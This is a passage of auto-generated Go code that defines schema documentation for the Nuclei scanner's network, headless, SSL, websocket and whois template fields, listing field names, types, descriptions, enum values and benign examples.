read-size is 1024.\"\n\tNETWORKRequestDoc.Fields[8].Comments[encoder.LineComment] = \"ReadSize is the size of response to read at the end\"\n\n\tNETWORKRequestDoc.Fields[8].AddExample(\"\", 2048)\n\tNETWORKRequestDoc.Fields[9].Name = \"read-all\"\n\tNETWORKRequestDoc.Fields[9].Type = \"bool\"\n\tNETWORKRequestDoc.Fields[9].Note = \"\"\n\tNETWORKRequestDoc.Fields[9].Description = \"ReadAll determines if the data stream should be read till the end regardless of the size\\n\\nDefault value for read-all is false.\"\n\tNETWORKRequestDoc.Fields[9].Comments[encoder.LineComment] = \"ReadAll determines if the data stream should be read till the end regardless of the size\"\n\n\tNETWORKRequestDoc.Fields[9].AddExample(\"\", false)\n\tNETWORKRequestDoc.Fields[10].Name = \"stop-at-first-match\"\n\tNETWORKRequestDoc.Fields[10].Type = \"bool\"\n\tNETWORKRequestDoc.Fields[10].Note = \"\"\n\tNETWORKRequestDoc.Fields[10].Description = \"StopAtFirstMatch stops the execution of the requests and template as soon as a match is found.\"\n\tNETWORKRequestDoc.Fields[10].Comments[encoder.LineComment] = \"StopAtFirstMatch stops the execution of the requests and template as soon as a match is found.\"\n\n\tNETWORKInputDoc.Type = \"network.Input\"\n\tNETWORKInputDoc.Comments[encoder.LineComment] = \"\"\n\tNETWORKInputDoc.Description = \"\"\n\tNETWORKInputDoc.AppearsIn = []encoder.Appearance{\n\t\t{\n\t\t\tTypeName:  \"network.Request\",\n\t\t\tFieldName: \"inputs\",\n\t\t},\n\t}\n\tNETWORKInputDoc.Fields = make([]encoder.Doc, 4)\n\tNETWORKInputDoc.Fields[0].Name = \"data\"\n\tNETWORKInputDoc.Fields[0].Type = \"string\"\n\tNETWORKInputDoc.Fields[0].Note = \"\"\n\tNETWORKInputDoc.Fields[0].Description = \"Data is the data to send as the input.\\n\\nIt supports DSL Helper Functions as well as normal expressions.\"\n\tNETWORKInputDoc.Fields[0].Comments[encoder.LineComment] = \"Data is the data to send as the input.\"\n\n\tNETWORKInputDoc.Fields[0].AddExample(\"\", \"TEST\")\n\n\tNETWORKInputDoc.Fields[0].AddExample(\"\", \"hex_decode('50494e47')\")\n\tNETWORKInputDoc.Fields[1].Name = \"type\"\n\tNETWORKInputDoc.Fields[1].Type = \"NetworkInputTypeHolder\"\n\tNETWORKInputDoc.Fields[1].Note = \"\"\n\tNETWORKInputDoc.Fields[1].Description = \"Type is the type of input specified in `data` field.\\n\\nDefault value is text, but hex can be used for hex formatted data.\"\n\tNETWORKInputDoc.Fields[1].Comments[encoder.LineComment] = \"Type is the type of input specified in `data` field.\"\n\tNETWORKInputDoc.Fields[1].Values = []string{\n\t\t\"hex\",\n\t\t\"text\",\n\t}\n\tNETWORKInputDoc.Fields[2].Name = \"read\"\n\tNETWORKInputDoc.Fields[2].Type = \"int\"\n\tNETWORKInputDoc.Fields[2].Note = \"\"\n\tNETWORKInputDoc.Fields[2].Description = \"Read is the number of bytes to read from socket.\\n\\nThis can be used for protocols which expect an immediate response. You can\\nread and write responses one after another and eventually perform matching\\non every data captured with `name` attribute.\\n\\nThe [network docs](https://nuclei.projectdiscovery.io/templating-guide/protocols/network/) highlight more on how to do this.\"\n\tNETWORKInputDoc.Fields[2].Comments[encoder.LineComment] = \"Read is the number of bytes to read from socket.\"\n\n\tNETWORKInputDoc.Fields[2].AddExample(\"\", 1024)\n\tNETWORKInputDoc.Fields[3].Name = \"name\"\n\tNETWORKInputDoc.Fields[3].Type = \"string\"\n\tNETWORKInputDoc.Fields[3].Note = \"\"\n\tNETWORKInputDoc.Fields[3].Description = \"Name is the optional name of the data read to provide matching on.\"\n\tNETWORKInputDoc.Fields[3].Comments[encoder.LineComment] = \"Name is the optional name of the data read to provide matching on.\"\n\n\tNETWORKInputDoc.Fields[3].AddExample(\"\", \"prefix\")\n\n\tNetworkInputTypeHolderDoc.Type = \"NetworkInputTypeHolder\"\n\tNetworkInputTypeHolderDoc.Comments[encoder.LineComment] = \" NetworkInputTypeHolder is used to hold internal type of the Network type\"\n\tNetworkInputTypeHolderDoc.Description = \"NetworkInputTypeHolder is used to hold internal type of the Network type\"\n\tNetworkInputTypeHolderDoc.AppearsIn = []encoder.Appearance{\n\t\t{\n\t\t\tTypeName:  \"network.Input\",\n\t\t\tFieldName: \"type\",\n\t\t},\n\t}\n\tNetworkInputTypeHolderDoc.Fields = make([]encoder.Doc, 1)\n\tNetworkInputTypeHolderDoc.Fields[0].Name = \"\"\n\tNetworkInputTypeHolderDoc.Fields[0].Type = \"NetworkInputType\"\n\tNetworkInputTypeHolderDoc.Fields[0].Note = \"\"\n\tNetworkInputTypeHolderDoc.Fields[0].Description = \"\"\n\tNetworkInputTypeHolderDoc.Fields[0].Comments[encoder.LineComment] = \"\"\n\tNetworkInputTypeHolderDoc.Fields[0].EnumFields = []string{\n\t\t\"hex\",\n\t\t\"text\",\n\t}\n\n\tHEADLESSRequestDoc.Type = \"headless.Request\"\n\tHEADLESSRequestDoc.Comments[encoder.LineComment] = \" Request contains a Headless protocol request to be made from a template\"\n\tHEADLESSRequestDoc.Description = \"Request contains a Headless protocol request to be made from a template\"\n\tHEADLESSRequestDoc.AppearsIn = []encoder.Appearance{\n\t\t{\n\t\t\tTypeName:  \"Template\",\n\t\t\tFieldName: \"headless\",\n\t\t},\n\t}\n\tHEADLESSRequestDoc.PartDefinitions = []encoder.KeyValue{\n\t\t{\n\t\t\tKey:   \"template-id\",\n\t\t\tValue: \"ID of the template executed\",\n\t\t},\n\t\t{\n\t\t\tKey:   \"template-info\",\n\t\t\tValue: \"Info Block of the template executed\",\n\t\t},\n\t\t{\n\t\t\tKey:   \"template-path\",\n\t\t\tValue: \"Path of the template executed\",\n\t\t},\n\t\t{\n\t\t\tKey:   \"host\",\n\t\t\tValue: \"Host is the input to the template\",\n\t\t},\n\t\t{\n\t\t\tKey:   \"matched\",\n\t\t\tValue: \"Matched is the input which was matched upon\",\n\t\t},\n\t\t{\n\t\t\tKey:   \"type\",\n\t\t\tValue: \"Type is the type of request made\",\n\t\t},\n\t\t{\n\t\t\tKey:   \"req\",\n\t\t\tValue: \"Headless request made from the client\",\n\t\t},\n\t\t{\n\t\t\tKey:   \"resp,body,data\",\n\t\t\tValue: \"Headless response received from client (default)\",\n\t\t},\n\t}\n\tHEADLESSRequestDoc.Fields = make([]encoder.Doc, 10)\n\tHEADLESSRequestDoc.Fields[0].Name = \"id\"\n\tHEADLESSRequestDoc.Fields[0].Type = \"string\"\n\tHEADLESSRequestDoc.Fields[0].Note = \"\"\n\tHEADLESSRequestDoc.Fields[0].Description = \"ID is the optional id of the request\"\n\tHEADLESSRequestDoc.Fields[0].Comments[encoder.LineComment] = \" ID is the optional id of the request\"\n\tHEADLESSRequestDoc.Fields[1].Name = \"attack\"\n\tHEADLESSRequestDoc.Fields[1].Type = \"generators.AttackTypeHolder\"\n\tHEADLESSRequestDoc.Fields[1].Note = \"\"\n\tHEADLESSRequestDoc.Fields[1].Description = \"Attack is the type of payload combinations to perform.\\n\\nBatteringram is inserts the same payload into all defined payload positions at once, pitchfork combines multiple payload sets and clusterbomb generates\\npermutations and combinations for all payloads.\"\n\tHEADLESSRequestDoc.Fields[1].Comments[encoder.LineComment] = \"Attack is the type of payload combinations to perform.\"\n\tHEADLESSRequestDoc.Fields[2].Name = \"payloads\"\n\tHEADLESSRequestDoc.Fields[2].Type = \"map[string]interface{}\"\n\tHEADLESSRequestDoc.Fields[2].Note = \"\"\n\tHEADLESSRequestDoc.Fields[2].Description = \"Payloads contains any payloads for the current request.\\n\\nPayloads support both key-values combinations where a list\\nof payloads is provided, or optionally a single file can also\\nbe provided as payload which will be read on run-time.\"\n\tHEADLESSRequestDoc.Fields[2].Comments[encoder.LineComment] = \"Payloads contains any payloads for the current request.\"\n\tHEADLESSRequestDoc.Fields[3].Name = \"steps\"\n\tHEADLESSRequestDoc.Fields[3].Type = \"[]engine.Action\"\n\tHEADLESSRequestDoc.Fields[3].Note = \"\"\n\tHEADLESSRequestDoc.Fields[3].Description = \"Steps is the list of actions to run for headless request\"\n\tHEADLESSRequestDoc.Fields[3].Comments[encoder.LineComment] = \"Steps is the list of actions to run for headless request\"\n\tHEADLESSRequestDoc.Fields[4].Name = \"user_agent\"\n\tHEADLESSRequestDoc.Fields[4].Type = \"userAgent.UserAgentHolder\"\n\tHEADLESSRequestDoc.Fields[4].Note = \"\"\n\tHEADLESSRequestDoc.Fields[4].Description = \"descriptions: |\\n \t User-Agent is the type of user-agent to use for the request.\"\n\tHEADLESSRequestDoc.Fields[4].Comments[encoder.LineComment] = \" descriptions: |\"\n\tHEADLESSRequestDoc.Fields[5].Name = \"custom_user_agent\"\n\tHEADLESSRequestDoc.Fields[5].Type = \"string\"\n\tHEADLESSRequestDoc.Fields[5].Note = \"\"\n\tHEADLESSRequestDoc.Fields[5].Description = \"description: |\\n \t If UserAgent is set to custom, customUserAgent is the custom user-agent to use for the request.\"\n\tHEADLESSRequestDoc.Fields[5].Comments[encoder.LineComment] = \" description: |\"\n\tHEADLESSRequestDoc.Fields[6].Name = \"stop-at-first-match\"\n\tHEADLESSRequestDoc.Fields[6].Type = \"bool\"\n\tHEADLESSRequestDoc.Fields[6].Note = \"\"\n\tHEADLESSRequestDoc.Fields[6].Description = \"StopAtFirstMatch stops the execution of the requests and template as soon as a match is found.\"\n\tHEADLESSRequestDoc.Fields[6].Comments[encoder.LineComment] = \"StopAtFirstMatch stops the execution of the requests and template as soon as a match is found.\"\n\tHEADLESSRequestDoc.Fields[7].Name = \"fuzzing\"\n\tHEADLESSRequestDoc.Fields[7].Type = \"[]fuzz.Rule\"\n\tHEADLESSRequestDoc.Fields[7].Note = \"\"\n\tHEADLESSRequestDoc.Fields[7].Description = \"Fuzzing describes schema to fuzz headless requests\"\n\tHEADLESSRequestDoc.Fields[7].Comments[encoder.LineComment] = \" Fuzzing describes schema to fuzz headless requests\"\n\tHEADLESSRequestDoc.Fields[8].Name = \"cookie-reuse\"\n\tHEADLESSRequestDoc.Fields[8].Type = \"bool\"\n\tHEADLESSRequestDoc.Fields[8].Note = \"\"\n\tHEADLESSRequestDoc.Fields[8].Description = \"CookieReuse is an optional setting that enables cookie reuse\"\n\tHEADLESSRequestDoc.Fields[8].Comments[encoder.LineComment] = \"CookieReuse is an optional setting that enables cookie reuse\"\n\tHEADLESSRequestDoc.Fields[9].Name = \"disable-cookie\"\n\tHEADLESSRequestDoc.Fields[9].Type = \"bool\"\n\tHEADLESSRequestDoc.Fields[9].Note = \"\"\n\tHEADLESSRequestDoc.Fields[9].Description = \"DisableCookie is an optional setting that disables cookie reuse\"\n\tHEADLESSRequestDoc.Fields[9].Comments[encoder.LineComment] = \"DisableCookie is an optional setting that disables cookie reuse\"\n\n\tENGINEActionDoc.Type = \"engine.Action\"\n\tENGINEActionDoc.Comments[encoder.LineComment] = \" Action is an action taken by the browser to reach a navigation\"\n\tENGINEActionDoc.Description = \"Action is an action taken by the browser to reach a navigation\\n\\n Each step that the browser executes is an action. Most navigations\\n usually start from the ActionLoadURL event, and further navigations\\n are discovered on the found page. We also keep track and only\\n scrape new navigation from pages we haven't crawled yet.\"\n\tENGINEActionDoc.AppearsIn = []encoder.Appearance{\n\t\t{\n\t\t\tTypeName:  \"headless.Request\",\n\t\t\tFieldName: \"steps\",\n\t\t},\n\t}\n\tENGINEActionDoc.Fields = make([]encoder.Doc, 4)\n\tENGINEActionDoc.Fields[0].Name = \"args\"\n\tENGINEActionDoc.Fields[0].Type = \"map[string]string\"\n\tENGINEActionDoc.Fields[0].Note = \"\"\n\tENGINEActionDoc.Fields[0].Description = \"Args contain arguments for the headless action.\\nPer action arguments are described in detail [here](https://nuclei.projectdiscovery.io/templating-guide/protocols/headless/).\"\n\tENGINEActionDoc.Fields[0].Comments[encoder.LineComment] = \"Args contain arguments for the headless action.\"\n\tENGINEActionDoc.Fields[1].Name = \"name\"\n\tENGINEActionDoc.Fields[1].Type = \"string\"\n\tENGINEActionDoc.Fields[1].Note = \"\"\n\tENGINEActionDoc.Fields[1].Description = \"Name is the name assigned to the headless action.\\n\\nThis can be used to execute code, for instance in browser\\nDOM using script action, and get the result in a variable\\nwhich can be matched upon by nuclei. An Example template [here](https://github.com/projectdiscovery/nuclei-templates/blob/main/headless/prototype-pollution-check.yaml).\"\n\tENGINEActionDoc.Fields[1].Comments[encoder.LineComment] = \"Name is the name assigned to the headless action.\"\n\tENGINEActionDoc.Fields[2].Name = \"description\"\n\tENGINEActionDoc.Fields[2].Type = \"string\"\n\tENGINEActionDoc.Fields[2].Note = \"\"\n\tENGINEActionDoc.Fields[2].Description = \"Description is the optional description of the headless action\"\n\tENGINEActionDoc.Fields[2].Comments[encoder.LineComment] = \"Description is the optional description of the headless action\"\n\tENGINEActionDoc.Fields[3].Name = \"action\"\n\tENGINEActionDoc.Fields[3].Type = \"ActionTypeHolder\"\n\tENGINEActionDoc.Fields[3].Note = \"\"\n\tENGINEActionDoc.Fields[3].Description = \"Action is the type of the action to perform.\"\n\tENGINEActionDoc.Fields[3].Comments[encoder.LineComment] = \"Action is the type of the action to perform.\"\n\n\tActionTypeHolderDoc.Type = \"ActionTypeHolder\"\n\tActionTypeHolderDoc.Comments[encoder.LineComment] = \" ActionTypeHolder is used to hold internal type of the action\"\n\tActionTypeHolderDoc.Description = \"ActionTypeHolder is used to hold internal type of the action\"\n\tActionTypeHolderDoc.AppearsIn = []encoder.Appearance{\n\t\t{\n\t\t\tTypeName:  \"engine.Action\",\n\t\t\tFieldName: \"action\",\n\t\t},\n\t}\n\tActionTypeHolderDoc.Fields = make([]encoder.Doc, 1)\n\tActionTypeHolderDoc.Fields[0].Name = \"\"\n\tActionTypeHolderDoc.Fields[0].Type = \"ActionType\"\n\tActionTypeHolderDoc.Fields[0].Note = \"\"\n\tActionTypeHolderDoc.Fields[0].Description = \"\"\n\tActionTypeHolderDoc.Fields[0].Comments[encoder.LineComment] = \"\"\n\tActionTypeHolderDoc.Fields[0].EnumFields = []string{\n\t\t\"navigate\",\n\t\t\"script\",\n\t\t\"click\",\n\t\t\"rightclick\",\n\t\t\"text\",\n\t\t\"screenshot\",\n\t\t\"time\",\n\t\t\"select\",\n\t\t\"files\",\n\t\t\"waitdom\",\n\t\t\"waitfcp\",\n\t\t\"waitfmp\",\n\t\t\"waitidle\",\n\t\t\"waitload\",\n\t\t\"waitstable\",\n\t\t\"getresource\",\n\t\t\"extract\",\n\t\t\"setmethod\",\n\t\t\"addheader\",\n\t\t\"setheader\",\n\t\t\"deleteheader\",\n\t\t\"setbody\",\n\t\t\"waitevent\",\n\t\t\"dialog\",\n\t\t\"keyboard\",\n\t\t\"debug\",\n\t\t\"sleep\",\n\t\t\"waitvisible\",\n\t}\n\n\tUSERAGENTUserAgentHolderDoc.Type = \"userAgent.UserAgentHolder\"\n\tUSERAGENTUserAgentHolderDoc.Comments[encoder.LineComment] = \" UserAgentHolder holds a UserAgent type. Required for un/marshalling purposes\"\n\tUSERAGENTUserAgentHolderDoc.Description = \"UserAgentHolder holds a UserAgent type. Required for un/marshalling purposes\"\n\tUSERAGENTUserAgentHolderDoc.AppearsIn = []encoder.Appearance{\n\t\t{\n\t\t\tTypeName:  \"headless.Request\",\n\t\t\tFieldName: \"user_agent\",\n\t\t},\n\t}\n\tUSERAGENTUserAgentHolderDoc.Fields = make([]encoder.Doc, 1)\n\tUSERAGENTUserAgentHolderDoc.Fields[0].Name = \"\"\n\tUSERAGENTUserAgentHolderDoc.Fields[0].Type = \"UserAgent\"\n\tUSERAGENTUserAgentHolderDoc.Fields[0].Note = \"\"\n\tUSERAGENTUserAgentHolderDoc.Fields[0].Description = \"\"\n\tUSERAGENTUserAgentHolderDoc.Fields[0].Comments[encoder.LineComment] = \"\"\n\tUSERAGENTUserAgentHolderDoc.Fields[0].EnumFields = []string{\n\t\t\"random\",\n\t\t\"off\",\n\t\t\"default\",\n\t\t\"custom\",\n\t}\n\n\tSSLRequestDoc.Type = \"ssl.Request\"\n\tSSLRequestDoc.Comments[encoder.LineComment] = \" Request is a request for the SSL protocol\"\n\tSSLRequestDoc.Description = \"Request is a request for the SSL protocol\"\n\tSSLRequestDoc.AppearsIn = []encoder.Appearance{\n\t\t{\n\t\t\tTypeName:  \"Template\",\n\t\t\tFieldName: \"ssl\",\n\t\t},\n\t}\n\tSSLRequestDoc.PartDefinitions = []encoder.KeyValue{\n\t\t{\n\t\t\tKey:   \"template-id\",\n\t\t\tValue: \"ID of the template executed\",\n\t\t},\n\t\t{\n\t\t\tKey:   \"template-info\",\n\t\t\tValue: \"Info Block of the template executed\",\n\t\t},\n\t\t{\n\t\t\tKey:   \"template-path\",\n\t\t\tValue: \"Path of the template executed\",\n\t\t},\n\t\t{\n\t\t\tKey:   \"host\",\n\t\t\tValue: \"Host is the input to the template\",\n\t\t},\n\t\t{\n\t\t\tKey:   \"port\",\n\t\t\tValue: \"Port is the port of the host\",\n\t\t},\n\t\t{\n\t\t\tKey:   \"matched\",\n\t\t\tValue: \"Matched is the input which was matched upon\",\n\t\t},\n\t\t{\n\t\t\tKey:   \"type\",\n\t\t\tValue: \"Type is the type of request made\",\n\t\t},\n\t\t{\n\t\t\tKey:   \"timestamp\",\n\t\t\tValue: \"Timestamp is the time when the request was made\",\n\t\t},\n\t\t{\n\t\t\tKey:   \"response\",\n\t\t\tValue: \"JSON SSL protocol handshake details\",\n\t\t},\n\t\t{\n\t\t\tKey:   \"cipher\",\n\t\t\tValue: \"Cipher is the encryption algorithm used\",\n\t\t},\n\t\t{\n\t\t\tKey:   \"domains\",\n\t\t\tValue: \"Domains are the list of domain names in the certificate\",\n\t\t},\n\t\t{\n\t\t\tKey:   \"fingerprint_hash\",\n\t\t\tValue: \"Fingerprint hash is the unique identifier of the certificate\",\n\t\t},\n\t\t{\n\t\t\tKey:   \"ip\",\n\t\t\tValue: \"IP is the IP address of the server\",\n\t\t},\n\t\t{\n\t\t\tKey:   \"issuer_cn\",\n\t\t\tValue: \"Issuer CN is the common name of the certificate issuer\",\n\t\t},\n\t\t{\n\t\t\tKey:   \"issuer_dn\",\n\t\t\tValue: \"Issuer DN is the distinguished name of the certificate issuer\",\n\t\t},\n\t\t{\n\t\t\tKey:   \"issuer_org\",\n\t\t\tValue: \"Issuer organization is the organization of the certificate issuer\",\n\t\t},\n\t\t{\n\t\t\tKey:   \"not_after\",\n\t\t\tValue: \"Timestamp after which the remote cert expires\",\n\t\t},\n\t\t{\n\t\t\tKey:   \"not_before\",\n\t\t\tValue: \"Timestamp before which the certificate is not valid\",\n\t\t},\n\t\t{\n\t\t\tKey:   \"probe_status\",\n\t\t\tValue: \"Probe status indicates if the probe was successful\",\n\t\t},\n\t\t{\n\t\t\tKey:   \"serial\",\n\t\t\tValue: \"Serial is the serial number of the certificate\",\n\t\t},\n\t\t{\n\t\t\tKey:   \"sni\",\n\t\t\tValue: \"SNI is the server name indication used in the handshake\",\n\t\t},\n\t\t{\n\t\t\tKey:   \"subject_an\",\n\t\t\tValue: \"Subject AN is the list of subject alternative names\",\n\t\t},\n\t\t{\n\t\t\tKey:   \"subject_cn\",\n\t\t\tValue: \"Subject CN is the common name of the certificate subject\",\n\t\t},\n\t\t{\n\t\t\tKey:   \"subject_dn\",\n\t\t\tValue: \"Subject DN is the distinguished name of the certificate subject\",\n\t\t},\n\t\t{\n\t\t\tKey:   \"subject_org\",\n\t\t\tValue: \"Subject organization is the organization of the certificate subject\",\n\t\t},\n\t\t{\n\t\t\tKey:   \"tls_connection\",\n\t\t\tValue: \"TLS connection is the type of TLS connection used\",\n\t\t},\n\t\t{\n\t\t\tKey:   \"tls_version\",\n\t\t\tValue: \"TLS version is the version of the TLS protocol used\",\n\t\t},\n\t}\n\tSSLRequestDoc.Fields = make([]encoder.Doc, 9)\n\tSSLRequestDoc.Fields[0].Name = \"id\"\n\tSSLRequestDoc.Fields[0].Type = \"string\"\n\tSSLRequestDoc.Fields[0].Note = \"\"\n\tSSLRequestDoc.Fields[0].Description = \"ID is the optional id of the request\"\n\tSSLRequestDoc.Fields[0].Comments[encoder.LineComment] = \" ID is the optional id of the request\"\n\tSSLRequestDoc.Fields[1].Name = \"address\"\n\tSSLRequestDoc.Fields[1].Type = \"string\"\n\tSSLRequestDoc.Fields[1].Note = \"\"\n\tSSLRequestDoc.Fields[1].Description = \"Address contains address for the request\"\n\tSSLRequestDoc.Fields[1].Comments[encoder.LineComment] = \"Address contains address for the request\"\n\tSSLRequestDoc.Fields[2].Name = \"min_version\"\n\tSSLRequestDoc.Fields[2].Type = \"string\"\n\tSSLRequestDoc.Fields[2].Note = \"\"\n\tSSLRequestDoc.Fields[2].Description = \"Minimum tls version - auto if not specified.\"\n\tSSLRequestDoc.Fields[2].Comments[encoder.LineComment] = \"Minimum tls version - auto if not specified.\"\n\tSSLRequestDoc.Fields[2].Values = []string{\n\t\t\"sslv3\",\n\t\t\"tls10\",\n\t\t\"tls11\",\n\t\t\"tls12\",\n\t\t\"tls13\",\n\t}\n\tSSLRequestDoc.Fields[3].Name = \"max_version\"\n\tSSLRequestDoc.Fields[3].Type = \"string\"\n\tSSLRequestDoc.Fields[3].Note = \"\"\n\tSSLRequestDoc.Fields[3].Description = \"Max tls version - auto if not specified.\"\n\tSSLRequestDoc.Fields[3].Comments[encoder.LineComment] = \"Max tls version - auto if not specified.\"\n\tSSLRequestDoc.Fields[3].Values = []string{\n\t\t\"sslv3\",\n\t\t\"tls10\",\n\t\t\"tls11\",\n\t\t\"tls12\",\n\t\t\"tls13\",\n\t}\n\tSSLRequestDoc.Fields[4].Name = \"cipher_suites\"\n\tSSLRequestDoc.Fields[4].Type = \"[]string\"\n\tSSLRequestDoc.Fields[4].Note = \"\"\n\tSSLRequestDoc.Fields[4].Description = \"Client Cipher Suites  - auto if not specified.\"\n\tSSLRequestDoc.Fields[4].Comments[encoder.LineComment] = \"Client Cipher Suites  - auto if not specified.\"\n\tSSLRequestDoc.Fields[5].Name = \"scan_mode\"\n\tSSLRequestDoc.Fields[5].Type = \"string\"\n\tSSLRequestDoc.Fields[5].Note = \"\"\n\tSSLRequestDoc.Fields[5].Description = \"description: |\\n   Tls Scan Mode - auto if not specified\\n values:\\n   - \\\"ctls\\\"\\n   - \\\"ztls\\\"\\n   - \\\"auto\\\"\\n\t - \\\"openssl\\\" # reverts to \\\"auto\\\" is openssl is not installed\"\n\tSSLRequestDoc.Fields[5].Comments[encoder.LineComment] = \" description: |\"\n\tSSLRequestDoc.Fields[6].Name = \"tls_version_enum\"\n\tSSLRequestDoc.Fields[6].Type = \"bool\"\n\tSSLRequestDoc.Fields[6].Note = \"\"\n\tSSLRequestDoc.Fields[6].Description = \"TLS Versions Enum - false if not specified\\nEnumerates supported TLS versions\"\n\tSSLRequestDoc.Fields[6].Comments[encoder.LineComment] = \"TLS Versions Enum - false if not specified\"\n\tSSLRequestDoc.Fields[7].Name = \"tls_cipher_enum\"\n\tSSLRequestDoc.Fields[7].Type = \"bool\"\n\tSSLRequestDoc.Fields[7].Note = \"\"\n\tSSLRequestDoc.Fields[7].Description = \"TLS Ciphers Enum - false if not specified\\nEnumerates supported TLS ciphers\"\n\tSSLRequestDoc.Fields[7].Comments[encoder.LineComment] = \"TLS Ciphers Enum - false if not specified\"\n\tSSLRequestDoc.Fields[8].Name = \"tls_cipher_types\"\n\tSSLRequestDoc.Fields[8].Type = \"[]string\"\n\tSSLRequestDoc.Fields[8].Note = \"\"\n\tSSLRequestDoc.Fields[8].Description = \"description: |\\n  TLS Cipher types to enumerate\\n values:\\n   - \\\"insecure\\\" (default)\\n   - \\\"weak\\\"\\n   - \\\"secure\\\"\\n   - \\\"all\\\"\"\n\tSSLRequestDoc.Fields[8].Comments[encoder.LineComment] = \" description: |\"\n\n\tWEBSOCKETRequestDoc.Type = \"websocket.Request\"\n\tWEBSOCKETRequestDoc.Comments[encoder.LineComment] = \" Request is a request for the Websocket protocol\"\n\tWEBSOCKETRequestDoc.Description = \"Request is a request for the Websocket protocol\"\n\tWEBSOCKETRequestDoc.AppearsIn = []encoder.Appearance{\n\t\t{\n\t\t\tTypeName:  \"Template\",\n\t\t\tFieldName: \"websocket\",\n\t\t},\n\t}\n\tWEBSOCKETRequestDoc.PartDefinitions = []encoder.KeyValue{\n\t\t{\n\t\t\tKey:   \"type\",\n\t\t\tValue: \"Type is the type of request made\",\n\t\t},\n\t\t{\n\t\t\tKey:   \"success\",\n\t\t\tValue: \"Success specifies whether websocket connection was successful\",\n\t\t},\n\t\t{\n\t\t\tKey:   \"request\",\n\t\t\tValue: \"Websocket request made to the server\",\n\t\t},\n\t\t{\n\t\t\tKey:   \"response\",\n\t\t\tValue: \"Websocket response received from the server\",\n\t\t},\n\t\t{\n\t\t\tKey:   \"host\",\n\t\t\tValue: \"Host is the input to the template\",\n\t\t},\n\t\t{\n\t\t\tKey:   \"matched\",\n\t\t\tValue: \"Matched is the input which was matched upon\",\n\t\t},\n\t}\n\tWEBSOCKETRequestDoc.Fields = make([]encoder.Doc, 6)\n\tWEBSOCKETRequestDoc.Fields[0].Name = \"id\"\n\tWEBSOCKETRequestDoc.Fields[0].Type = \"string\"\n\tWEBSOCKETRequestDoc.Fields[0].Note = \"\"\n\tWEBSOCKETRequestDoc.Fields[0].Description = \"ID is the optional id of the request\"\n\tWEBSOCKETRequestDoc.Fields[0].Comments[encoder.LineComment] = \" ID is the optional id of the request\"\n\tWEBSOCKETRequestDoc.Fields[1].Name = \"address\"\n\tWEBSOCKETRequestDoc.Fields[1].Type = \"string\"\n\tWEBSOCKETRequestDoc.Fields[1].Note = \"\"\n\tWEBSOCKETRequestDoc.Fields[1].Description = \"Address contains address for the request\"\n\tWEBSOCKETRequestDoc.Fields[1].Comments[encoder.LineComment] = \"Address contains address for the request\"\n\tWEBSOCKETRequestDoc.Fields[2].Name = \"inputs\"\n\tWEBSOCKETRequestDoc.Fields[2].Type = \"[]websocket.Input\"\n\tWEBSOCKETRequestDoc.Fields[2].Note = \"\"\n\tWEBSOCKETRequestDoc.Fields[2].Description = \"Inputs contains inputs for the websocket protocol\"\n\tWEBSOCKETRequestDoc.Fields[2].Comments[encoder.LineComment] = \"Inputs contains inputs for the websocket protocol\"\n\tWEBSOCKETRequestDoc.Fields[3].Name = \"headers\"\n\tWEBSOCKETRequestDoc.Fields[3].Type = \"map[string]string\"\n\tWEBSOCKETRequestDoc.Fields[3].Note = \"\"\n\tWEBSOCKETRequestDoc.Fields[3].Description = \"Headers contains headers for the request.\"\n\tWEBSOCKETRequestDoc.Fields[3].Comments[encoder.LineComment] = \"Headers contains headers for the request.\"\n\tWEBSOCKETRequestDoc.Fields[4].Name = \"attack\"\n\tWEBSOCKETRequestDoc.Fields[4].Type = \"generators.AttackTypeHolder\"\n\tWEBSOCKETRequestDoc.Fields[4].Note = \"\"\n\tWEBSOCKETRequestDoc.Fields[4].Description = \"Attack is the type of payload combinations to perform.\\n\\nSniper is each payload once, pitchfork combines multiple payload sets and clusterbomb generates\\npermutations and combinations for all payloads.\"\n\tWEBSOCKETRequestDoc.Fields[4].Comments[encoder.LineComment] = \"Attack is the type of payload combinations to perform.\"\n\tWEBSOCKETRequestDoc.Fields[5].Name = \"payloads\"\n\tWEBSOCKETRequestDoc.Fields[5].Type = \"map[string]interface{}\"\n\tWEBSOCKETRequestDoc.Fields[5].Note = \"\"\n\tWEBSOCKETRequestDoc.Fields[5].Description = \"Payloads contains any payloads for the current request.\\n\\nPayloads support both key-values combinations where a list\\nof payloads is provided, or optionally a single file can also\\nbe provided as payload which will be read on run-time.\"\n\tWEBSOCKETRequestDoc.Fields[5].Comments[encoder.LineComment] = \"Payloads contains any payloads for the current request.\"\n\n\tWEBSOCKETInputDoc.Type = \"websocket.Input\"\n\tWEBSOCKETInputDoc.Comments[encoder.LineComment] = \"\"\n\tWEBSOCKETInputDoc.Description = \"\"\n\tWEBSOCKETInputDoc.AppearsIn = []encoder.Appearance{\n\t\t{\n\t\t\tTypeName:  \"websocket.Request\",\n\t\t\tFieldName: \"inputs\",\n\t\t},\n\t}\n\tWEBSOCKETInputDoc.Fields = make([]encoder.Doc, 2)\n\tWEBSOCKETInputDoc.Fields[0].Name = \"data\"\n\tWEBSOCKETInputDoc.Fields[0].Type = \"string\"\n\tWEBSOCKETInputDoc.Fields[0].Note = \"\"\n\tWEBSOCKETInputDoc.Fields[0].Description = \"Data is the data to send as the input.\\n\\nIt supports DSL Helper Functions as well as normal expressions.\"\n\tWEBSOCKETInputDoc.Fields[0].Comments[encoder.LineComment] = \"Data is the data to send as the input.\"\n\n\tWEBSOCKETInputDoc.Fields[0].AddExample(\"\", \"TEST\")\n\n\tWEBSOCKETInputDoc.Fields[0].AddExample(\"\", \"hex_decode('50494e47')\")\n\tWEBSOCKETInputDoc.Fields[1].Name = \"name\"\n\tWEBSOCKETInputDoc.Fields[1].Type = \"string\"\n\tWEBSOCKETInputDoc.Fields[1].Note = \"\"\n\tWEBSOCKETInputDoc.Fields[1].Description = \"Name is the optional name of the data read to provide matching on.\"\n\tWEBSOCKETInputDoc.Fields[1].Comments[encoder.LineComment] = \"Name is the optional name of the data read to provide matching on.\"\n\n\tWEBSOCKETInputDoc.Fields[1].AddExample(\"\", \"prefix\")\n\n\tWHOISRequestDoc.Type = \"whois.Request\"\n\tWHOISRequestDoc.Comments[encoder.LineComment] = \" Request is a request for the WHOIS protocol\"\n\tWHOISRequestDoc.Description = \"Request is a request for the WHOIS protocol\"\n\tWHOISRequestDoc.AppearsIn = []encoder.Appearance{\n\t\t{\n\t\t\tTypeName:  \"Template\",\n\t\t\tFieldName: \"whois\",\n\t\t},\n\t}\n\tWHOISRequestDoc.Fields = make([]encoder.Doc, 